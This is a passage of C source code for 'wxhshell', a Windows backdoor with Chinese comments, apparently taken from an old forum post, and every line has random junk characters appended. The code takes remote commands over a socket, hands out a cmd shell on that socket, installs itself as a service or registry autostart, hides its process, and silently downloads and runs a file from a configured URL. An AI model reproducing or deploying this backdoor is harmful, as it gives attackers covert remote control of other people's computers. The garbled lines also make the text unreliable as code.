Je+z\eT!5<  
    switch(cmd[0]) { Bi)1*  
  qv=i eU  
  // 帮助 V\WqA8  
  case '?': { L*1C2EL/q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3j(GcR 9  
    break; o6ec\v!l-  
  } SV}I+O_w  
  // 安装 O[;>Y'zqC%  
  case 'i': { k 0z2)3L  
    if(Install()) `$7j:<c=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sC48o'8(  
    else /A4zR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;+`t[ go  
    break;  ">*PH}b  
    } \L(~50{(  
  // 卸载 ;zIAh[z  
  case 'r': { JV Fn=Mw  
    if(Uninstall()) ^N _kiSr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =M)+O%`*6  
    else CYmwT>P+*4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J"L+`i  
    break; (qnzz!s  
    } xg k~y,F  
  // 显示 wxhshell 所在路径 fn(KmuNA  
  case 'p': { mTT1,|  
    char svExeFile[MAX_PATH]; %vDN{%h8  
    strcpy(svExeFile,"\n\r"); %:sQ[^0  
      strcat(svExeFile,ExeFile); R~iJ5@[  
        send(wsh,svExeFile,strlen(svExeFile),0); "m.jcKt  
    break; U@!e&QPn  
    } iF?4G^  
  // 重启 De@GNN"-  
  case 'b': { KyK%2:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nxkbI:+t  
    if(Boot(REBOOT)) 6LrG+p`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9^,MC&eb  
    else { 'z8?_{$   
    closesocket(wsh); F$y3oX  
    ExitThread(0); L}pMjyM  
    } OZ3iH%  
    break; (B{`In8G>y  
    } gE]6]L  
  // 关机 z'Atw"kA  
  case 'd': { @9lV~,,U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W+d=BnOa8  
    if(Boot(SHUTDOWN)) O%L]*vIr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~v"4;A 6  
    else { N"1o> !  
    closesocket(wsh); >7i&(6L  
    ExitThread(0); kVR_?ch{  
    } 5gYv CW&~  
    break; .R'<v^H  
    } n@xC?D:t*  
  // 获取shell r#rL~Rsd}  
  case 's': { d$qivct  
    CmdShell(wsh); $`,10uw  
    closesocket(wsh); jYDpJ##Zb  
    ExitThread(0); $p:RnH\H1  
    break; LH/lnrN  
  } ,Ta k',  
  // 退出 C+o1.#]JM  
  case 'x': { >G7dw1;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qF'lh  
    CloseIt(wsh); ]Fi_v?42x  
    break; * -uA\  
    } 9U~fc U6  
  // 离开 :%G_<VAo!  
  case 'q': { rlxZ,]ul  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a',6WugIP  
    closesocket(wsh); {txW>rZX  
    WSACleanup(); by07l5  
    exit(1); ]R%[cr  
    break; pmda9V4  
        } WH|TdU$V  
  } O2xbHn4  
  } wwh1aV *  
Kk.a9uKI}  
  // 提示信息 0O>T{<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0'wchy>  
} 1 S<E=7  
  } ^IQtXae6M  
B&fH FyK1n  
  return; ?D>%+rK8c  
} l4Au{%j\  
|L9p.q  
// shell模块句柄 &t)$5\r  
int CmdShell(SOCKET sock) \_io:{M  
{ 8'WoG]E_  
STARTUPINFO si; '=AqC,\#  
ZeroMemory(&si,sizeof(si)); 79&=MTM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; osM[Xv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J497 >w[  
PROCESS_INFORMATION ProcessInfo; "+XF'ZO  
char cmdline[]="cmd"; w{8O$4 w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y^0 mf|  
  return 0; ^O0trM>h-  
} ?,}:)oA_  
/ jLb{Ky  
// 自身启动模式 &s#OiF8  
int StartFromService(void) 8Y"R@'~  
{ hKVb#|$  
typedef struct Vp$<@Y  
{ -6W$@,K  
  DWORD ExitStatus; :(Ak:  
  DWORD PebBaseAddress; 73j\!x  
  DWORD AffinityMask; C>A} e6o  
  DWORD BasePriority; Z-j?N{3&  
  ULONG UniqueProcessId; GvzaLEo  
  ULONG InheritedFromUniqueProcessId; {K N7Y"AI  
}   PROCESS_BASIC_INFORMATION; :W.pD:/=v  
5Lm-KohT'  
PROCNTQSIP NtQueryInformationProcess; 8\F|{vt#  
f4O}WU}l{s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Aflf]G1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;fYJ]5>  
z? Iu;X  
  HANDLE             hProcess; 3qQ}U}-;|  
  PROCESS_BASIC_INFORMATION pbi; (fYYcpd,k  
(]Q0L{~K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6&"*{E  
  if(NULL == hInst ) return 0; dUQ )&Hv  
B='(0Uxy-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :*M2@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W K(GR\@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %!7A" >ai  
ZcHd.1fXh  
  if (!NtQueryInformationProcess) return 0; _'|C-j`u$  
N(e>]ui  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SB|Cr:wM  
  if(!hProcess) return 0; #Vhr 1;j  
.?5~zet#;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [{0/'+;9  
_VB;fH$  
  CloseHandle(hProcess); z5_jx&^Z  
9!PM1<p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vjVa),2  
if(hProcess==NULL) return 0; Xyu0n p;@  
}Ui)xi:8  
HMODULE hMod; CD. XZA[  
char procName[255]; (Z0.H3  
unsigned long cbNeeded; iL<FF N~{  
^?: Az  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qYPgn _  
5s%FHa  
  CloseHandle(hProcess); tiy#b8  
.kyes4Z  
if(strstr(procName,"services")) return 1; // 以服务启动 T-\q3X|y/  
b)>l7nOc  
  return 0; // 注册表启动 v5I5tzt*%H  
} +f}w+  
#sv:)p  
// 主模块 _ t.E_K  
int StartWxhshell(LPSTR lpCmdLine) mC$ te  
{ K<k\A@rv8H  
  SOCKET wsl; 4<- E0  
BOOL val=TRUE; ]vuxeu[cu,  
  int port=0; Gx|/ Jq  
  struct sockaddr_in door; Va4AE)[/*  
?'>[n m  
  if(wscfg.ws_autoins) Install(); qL$\[(  
l xP!WP  
port=atoi(lpCmdLine); 3!Mb<W.3  
#%]?e N  
if(port<=0) port=wscfg.ws_port; `uc`vkVZ  
-5\.\L3y)  
  WSADATA data; Of  nN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )LL.fPic  
_AiGD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :FixLr!q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); { !t6& A  
  door.sin_family = AF_INET; C?rb}(m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r2&/Ii+  
  door.sin_port = htons(port); ?'$} k  
CelM~W$=u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @ 3b-  
closesocket(wsl); <2\Q Y  
return 1; =I$:-[(  
} nB |fw"  
?osYs<k \  
  if(listen(wsl,2) == INVALID_SOCKET) { 5?TjuGc  
closesocket(wsl); E;r~8^9)  
return 1; 2!a~YT  
} 1k)`C<l  
  Wxhshell(wsl); ]r1Lr{7^S  
  WSACleanup(); mTa^At"  
7v(<<>  
return 0; :5zO!~\  
.a|ROjd!  
} d`KW]HJw  
1gH>B5`  
// 以NT服务方式启动 f q*V76F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Lw{'mtm  
{ Rx4O?7;  
DWORD   status = 0; CHM+@lD  
  DWORD   specificError = 0xfffffff; q%FXox~b  
G]I^zd&P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H.TPKdVX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LYS[qLpf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I=V]_Ik4 N  
  serviceStatus.dwWin32ExitCode     = 0; D?cE$P  
  serviceStatus.dwServiceSpecificExitCode = 0; ;<v9i#K5  
  serviceStatus.dwCheckPoint       = 0; 5?MKx!%  
  serviceStatus.dwWaitHint       = 0; #]Q.B\\  
!'%`g,,r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tP/R9Ezp  
  if (hServiceStatusHandle==0) return; 9/50+2F  
@RS|}M^4  
status = GetLastError(); -cWxS{vO  
  if (status!=NO_ERROR) <k2]GI-}h  
{ 4Yl:1rz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,9ZN k@q  
    serviceStatus.dwCheckPoint       = 0; V: ivnx*  
    serviceStatus.dwWaitHint       = 0; Gw Z(3  
    serviceStatus.dwWin32ExitCode     = status; \YsYOFc|  
    serviceStatus.dwServiceSpecificExitCode = specificError; qn@:A2e d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (B;rjpK  
    return; Hh.l,Z7i7D  
  } (:T\<  
$Z^HI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i^DZK&B@u  
  serviceStatus.dwCheckPoint       = 0; SgPvQ'\  
  serviceStatus.dwWaitHint       = 0; k-\RdX)E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .TetN}w  
} /CN`U7:E  
].<B:]:,  
// 处理NT服务事件,比如:启动、停止 ]Syr{|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Sj<WiQ%<  
{ ] 'ybu&22  
switch(fdwControl) :*/`"M)'  
{ B>M@'  
case SERVICE_CONTROL_STOP: @s;qmBX4  
  serviceStatus.dwWin32ExitCode = 0; X,h"%S<c#H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )R'~{;z }  
  serviceStatus.dwCheckPoint   = 0; V0x;*)\PYm  
  serviceStatus.dwWaitHint     = 0; _}-Ed,.=  
  { 7B,a xkr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Grw|8xN0t  
  } Sq,x57-  
  return; u4a(AB>S  
case SERVICE_CONTROL_PAUSE: 8%wu:;*]%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5L4{8X0X8  
  break; S @ MO  
case SERVICE_CONTROL_CONTINUE: Vyqj)1Z8>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |B;tv#mKD  
  break; 3B5GsI  
case SERVICE_CONTROL_INTERROGATE: ]hL `HP  
  break; >3a<#s{%  
}; +bw>9VmG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Js^=G2  
} ^%?*u;uU%  
3b2[i,m<L  
// 标准应用程序主函数 T!*lTzNHm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >qBQfz:U>  
{ A+&^As2  
wjm_bEi  
// 获取操作系统版本 )E.!jL:g  
OsIsNt=GetOsVer(); V6C*d:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eiV[y^?  
ShV#XnQ  
  // 从命令行安装 Xv%1W? >@/  
  if(strpbrk(lpCmdLine,"iI")) Install(); L:ox$RU  
8i=c|k,GL.  
  // 下载执行文件 '*~_!lE5  
if(wscfg.ws_downexe) { ? %9-5"U[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x"9e eB,  
  WinExec(wscfg.ws_filenam,SW_HIDE);  TM1isZ  
} qBKRm0<W  
;|.^_Xs  
if(!OsIsNt) { 2+7r Lf`l  
// 如果时win9x,隐藏进程并且设置为注册表启动 ")t ^!x(v  
HideProc(); 9BJP|L%q  
StartWxhshell(lpCmdLine); 5*ip}wA  
} O#,Uz2  
else WPmH4L>T  
  if(StartFromService()) 8T7E.guYr  
  // 以服务方式启动 S4m??B  
  StartServiceCtrlDispatcher(DispatchTable); 6fozc2h@x%  
else UbD1h_b  
  // 普通方式启动 (}W+W\.  
  StartWxhshell(lpCmdLine); SM;*vkwz~  
QgZwU$`p0  
return 0; )AxgKBW  
}
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只看该作者 1 发表于: 2006-10-10
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